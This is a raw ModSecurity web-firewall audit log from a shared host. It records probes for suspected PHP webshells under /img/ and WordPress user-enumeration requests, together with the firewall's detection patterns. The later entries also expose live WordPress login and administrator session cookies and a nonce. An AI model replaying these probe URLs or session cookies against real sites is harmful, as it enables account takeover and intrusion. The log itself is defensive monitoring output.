Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19c_20960.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19c_20960.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "ihelp.ro"] [uri "/img/ufo19c_20960.php"] [unique_id "aqaYnTTJ6xTvcJoem7f9dAAAAEc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19c_20960.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "ihelp.ro"] [uri "/img/ufo19c_20960.php"] [unique_id "aqaYnTTJ6xTvcJoem7f9dAAAAEc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789302941002275 247541 (- - -)
Stopwatch2: 1789302941002275 247541; combined=6182, p1=356, p2=5690, p3=0, p4=0, p5=136, sr=136, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--f42eaa43-Z--

--da622c2e-A--
[13/Sep/2026:15:35:41.479799 +0300] aqaYnWM7dE9KgIIOpQh@lQAAAMY 47.128.26.84 35430 127.0.0.1 7081
--da622c2e-B--
GET /img/ufo19b_6243.php HTTP/1.1
Host: ihelp.ro
X-Real-IP: 47.128.26.84
X-Accel-Internal: /internal-nginx-static-location
Accept: image/heif,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: csrfToken=MNpSLpy%2FRppLG9WQXv1c9DI0NmY5YjkyZDQzZWM2ZjU5OGYwZmNjNWYyYTZhMDk1YjlmZDRjYmI%3D
User-Agent: Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://ihelp.ro/
Accept-Encoding: identity
Range: bytes=0-499

--da622c2e-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--da622c2e-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19b_6243.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19b_6243.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19b_6243.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "ihelp.ro"] [uri "/img/ufo19b_6243.php"] [unique_id "aqaYnWM7dE9KgIIOpQh@lQAAAMY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19b_6243.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "ihelp.ro"] [uri "/img/ufo19b_6243.php"] [unique_id "aqaYnWM7dE9KgIIOpQh@lQAAAMY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789302941446021 34543 (- - -)
Stopwatch2: 1789302941446021 34543; combined=8937, p1=3547, p2=5295, p3=0, p4=0, p5=94, sr=154, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--da622c2e-Z--

--7f85734a-A--
[13/Sep/2026:15:35:41.508146 +0300] aqaYnSsVWymXUono-eRXBwAAAA0 47.128.26.84 35414 127.0.0.1 7081
--7f85734a-B--
GET /img/ufo19p_20539.php HTTP/1.1
Host: ihelp.ro
X-Real-IP: 47.128.26.84
X-Accel-Internal: /internal-nginx-static-location
Accept: image/heif,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: csrfToken=MNpSLpy%2FRppLG9WQXv1c9DI0NmY5YjkyZDQzZWM2ZjU5OGYwZmNjNWYyYTZhMDk1YjlmZDRjYmI%3D
User-Agent: Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://ihelp.ro/
Accept-Encoding: identity
Range: bytes=0-499

--7f85734a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: 407ab1f0-1e89-4f3f-b7ca-5493006d3fc7
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--7f85734a-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19p_20539.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19p_20539.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19p_20539.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "ihelp.ro"] [uri "/img/ufo19p_20539.php"] [unique_id "aqaYnSsVWymXUono-eRXBwAAAA0"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19p_20539.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "ihelp.ro"] [uri "/img/ufo19p_20539.php"] [unique_id "aqaYnSsVWymXUono-eRXBwAAAA0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789302941120512 387730 (- - -)
Stopwatch2: 1789302941120512 387730; combined=4854, p1=370, p2=4402, p3=0, p4=0, p5=82, sr=177, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--7f85734a-Z--

--1a990260-A--
[13/Sep/2026:15:35:41.545571 +0300] aqaYnWM7dE9KgIIOpQh@lAAAAME 47.128.26.84 35422 127.0.0.1 7081
--1a990260-B--
GET /img/ufo19_20982.php HTTP/1.1
Host: ihelp.ro
X-Real-IP: 47.128.26.84
X-Accel-Internal: /internal-nginx-static-location
Accept: image/heif,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: csrfToken=MNpSLpy%2FRppLG9WQXv1c9DI0NmY5YjkyZDQzZWM2ZjU5OGYwZmNjNWYyYTZhMDk1YjlmZDRjYmI%3D
User-Agent: Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://ihelp.ro/
Accept-Encoding: identity
Range: bytes=0-499

--1a990260-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: 1ae80499-f73a-4690-b878-d19a2883929e
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--1a990260-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19_20982.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19_20982.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19_20982.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "ihelp.ro"] [uri "/img/ufo19_20982.php"] [unique_id "aqaYnWM7dE9KgIIOpQh@lAAAAME"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19_20982.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "ihelp.ro"] [uri "/img/ufo19_20982.php"] [unique_id "aqaYnWM7dE9KgIIOpQh@lAAAAME"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789302941297154 248515 (- - -)
Stopwatch2: 1789302941297154 248515; combined=17324, p1=323, p2=16935, p3=0, p4=0, p5=66, sr=130, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--1a990260-Z--

--e7725d76-A--
[13/Sep/2026:15:35:41.578199 +0300] aqaYnSsVWymXUono-eRXBgAAAAE 47.128.26.84 35406 127.0.0.1 7081
--e7725d76-B--
GET /img/ufo19w_831.php HTTP/1.1
Host: ihelp.ro
X-Real-IP: 47.128.26.84
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)
Accept: image/heif,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: csrfToken=MNpSLpy%2FRppLG9WQXv1c9DI0NmY5YjkyZDQzZWM2ZjU5OGYwZmNjNWYyYTZhMDk1YjlmZDRjYmI%3D
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://ihelp.ro/
Accept-Encoding: identity
Range: bytes=0-499

--e7725d76-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: 03719a3a-48a5-468f-b5b8-1ada0158f5df
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--e7725d76-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19w_831.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19w_831.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19w_831.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "ihelp.ro"] [uri "/img/ufo19w_831.php"] [unique_id "aqaYnSsVWymXUono-eRXBgAAAAE"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19w_831.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "ihelp.ro"] [uri "/img/ufo19w_831.php"] [unique_id "aqaYnSsVWymXUono-eRXBgAAAAE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789302941118794 459480 (- - -)
Stopwatch2: 1789302941118794 459480; combined=10024, p1=1259, p2=8697, p3=0, p4=0, p5=67, sr=977, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--e7725d76-Z--

--55c0564d-A--
[13/Sep/2026:15:47:32.613211 +0300] aqabZGM7dE9KgIIOpQh-KQAAAMc 62.4.41.94 44466 127.0.0.1 7081
--55c0564d-B--
GET /wp-json/wp/v2/users?_fields=slug&per_page=100&page=1 HTTP/1.1
Host: axapres.ro
X-Real-IP: 62.4.41.94
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Sec-Fetch-Dest: empty
Sec-Ch-Ua: "Not=A?Brand";v="99", "Google Chrome";v="151", "Chromium";v="151"
Sec-Ch-Ua-Platform: "Windows"
Accept: application/json, text/plain, */*
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Dnt: 1
Sec-Ch-Ua-Mobile: ?0

--55c0564d-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--55c0564d-E--

--55c0564d-H--
Message: String match "wp-json/wp/v2/users" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "80"] [id "77140942"] [msg "IM360 WAF: Block WordPress 5.3 User Enumeration attempts||T:APACHE||MV:/wp-json/wp/v2/users?_fields=slug&per_page=100&page=1||"] [severity "DEBUG"] [tag "service_i360custom"] [tag "wp_core"]
Message: Operator EQ matched 0 at REQUEST_COOKIES. [file "/etc/httpd/conf/modsecurity.d/rules/custom/007_i360_4_wordpress.conf"] [line "426"] [id "77316783"] [msg "IM360 WAF: Monitoring WordPress 5.3 User Enumeration attempts||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "wp_core"] [tag "noshow"]
Stopwatch: 1789303652580801 32476 (- - -)
Stopwatch2: 1789303652580801 32476; combined=31294, p1=234, p2=30959, p3=61, p4=8, p5=31, sr=102, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--55c0564d-Z--

--b2b2a72e-A--
[13/Sep/2026:15:48:09.360978 +0300] aqabiWM7dE9KgIIOpQh-MAAAANM 62.4.41.94 50722 127.0.0.1 7081
--b2b2a72e-B--
GET /wp-json/wp/v2/users?_jsonp=callback&per_page=100&_fields=id,slug HTTP/1.1
Host: axapres.ro
X-Real-IP: 62.4.41.94
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
Sec-Ch-Ua: "Not=A?Brand";v="99", "Google Chrome";v="151", "Chromium";v="151"
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Sec-Fetch-Site: same-origin
Dnt: 1

--b2b2a72e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--b2b2a72e-E--

--b2b2a72e-H--
Message: String match "wp-json/wp/v2/users" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "80"] [id "77140942"] [msg "IM360 WAF: Block WordPress 5.3 User Enumeration attempts||T:APACHE||MV:/wp-json/wp/v2/users?_jsonp=callback&per_page=100&_fields=id,slug||"] [severity "DEBUG"] [tag "service_i360custom"] [tag "wp_core"]
Message: Operator EQ matched 0 at REQUEST_COOKIES. [file "/etc/httpd/conf/modsecurity.d/rules/custom/007_i360_4_wordpress.conf"] [line "426"] [id "77316783"] [msg "IM360 WAF: Monitoring WordPress 5.3 User Enumeration attempts||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "wp_core"] [tag "noshow"]
Stopwatch: 1789303689325158 35915 (- - -)
Stopwatch2: 1789303689325158 35915; combined=32661, p1=348, p2=32126, p3=134, p4=10, p5=43, sr=145, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b2b2a72e-Z--

--9bb9f651-A--
[13/Sep/2026:16:00:18.527673 +0300] aqaeYUwu1RSkptiiNIX9vQAAAJA 62.74.18.173 54758 127.0.0.1 7081
--9bb9f651-B--
GET /wp-json/wp/v2/users/me?context=edit&_locale=user HTTP/1.1
Host: chania24.taxi
X-Real-IP: 62.74.18.173
Cookie: wfwaf-authcookie-2730fdb7165a500052ab2f71fca8bd50=1%7Cadministrator%7Cmanage_options%2Cunfiltered_html%2Cedit_others_posts%2Cupload_files%2Cpublish_posts%2Cedit_posts%2Cread%7C61d52a60d4c8f0dc93c158654dfd535da166e517b1c4de7584b736abab0dd3c5; tk_ai=woo%3A6U8Jr%2Fb8Fq7mZoDTPFbFvvz1; wordpress_logged_in_98ee36b231f2fb45b3e687cbf04c847e=chania24%7C1789402667%7C4w8eXEqMQIPhk44gn7Pn2ljeUtVJmqUXeKOU2uHuidO%7C0dc0cca43e29e31503849755bd897a4f9a8cdb4dac2a120a1f54b342d4f3e7de; wordpress_test_cookie=WP%20Cookie%20check; wp-settings-1=editor%3Dhtml%26libraryContent%3Dbrowse%26posts_list_mode%3Dlist%26mfold%3Do; wp-settings-time-1=1788098856
X-WP-Nonce: 77ebd02b11
Accept: application/json, */*;q=0.1
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_8_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.8 Mobile/15E148 Safari/604.1
Accept-Language: el-GR,el;q=0.9
Referer: https://chania24.taxi/wp-admin/post.php?post=20671&action=edit
Accept-Encoding: gzip, deflate, br

--9bb9f651-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/7.4.33
X-Robots-Tag: noindex
Link: <https://chania24.taxi/wp-json/>; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
X-WP-Nonce: 77ebd02b11
Allow: GET, POST, PUT, PATCH, DELETE
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Transfer-Encoding: chunked
Content-Type: application/json; charset=UTF-8

--9bb9f651-H--
Message: String match "wp-json/wp/v2/users" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "80"] [id "77140942"] [msg "IM360 WAF: Block WordPress 5.3 User Enumeration attempts||T:APACHE||MV:/wp-json/wp/v2/users/me?context=edit&_locale=user||"] [severity "DEBUG"] [tag "service_i360custom"] [tag "wp_core"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789304417653041 874731 (- - -)
Stopwatch2: 1789304417653041 874731; combined=5919, p1=464, p2=5044, p3=0, p4=0, p5=245, sr=258, sw=166, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
WebApp-Info: "default" "98ee36b231f2fb45b3e687cbf04c847e" "-"
Engine-Mode: "ENABLED"

--9bb9f651-Z--

--c96fe755-A--
[13/Sep/2026:16:00:31.674425 +0300] aqaeb2M7dE9KgIIOpQh-ZAAAAMs 62.74.18.173 35638 127.0.0.1 7081
--c96fe755-B--
GET /wp-json/wp/v2/users/me?context=edit&_locale=user HTTP/1.1
Host: chania24.taxi
X-Real-IP: 62.74.18.173
Cookie: wfwaf-authcookie-2730fdb7165a500052ab2f71fca8bd50=1%7Cadministrator%7Cmanage_options%2Cunfiltered_html%2Cedit_others_posts%2Cupload_files%2Cpublish_posts%2Cedit_posts%2Cread%7C61d52a60d4c8f0dc93c158654dfd535da166e517b1c4de7584b736abab0dd3c5; tk_ai=woo%3A6U8Jr%2Fb8Fq7mZoDTPFbFvvz1; wordpress_logged_in_98ee36b231f2fb45b3e687cbf04c847e=chania24%7C1789402667%7C4w8eXEqMQIPhk44gn7Pn2ljeUtVJmqUXeKOU2uHuidO%7C0dc0cca43e29e31503849755bd897a4f9a8cdb4dac2a120a1f54b342d4f3e7de; wordpress_test_cookie=WP%20Cookie%20check; wp-settings-1=editor%3Dhtml%26libraryContent%3Dbrowse%26posts_list_mode%3Dlist%26mfold%3Do; wp-settings-time-1=1788098856
X-WP-Nonce: 77ebd02b11
Accept: application/json, */*;q=0.1
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_8_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.8 Mobile/15E148 Safari/604.1
Accept-Language: el-GR,el;q=0.9
Referer: https://chania24.taxi/wp-admin/post.php?post=20671&action=edit&classic-editor
Accept-Encoding: gzip, deflate, br

--c96fe755-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/7.4.33
X-Robots-Tag: noindex
Link: <https://chania24.taxi/wp-json/>; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
X-WP-Nonce: 77ebd02b11
Allow: GET, POST, PUT, PATCH, DELETE
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Transfer-Encoding: chunked
Content-Type: application/json; charset=UTF-8

--c96fe755-H--
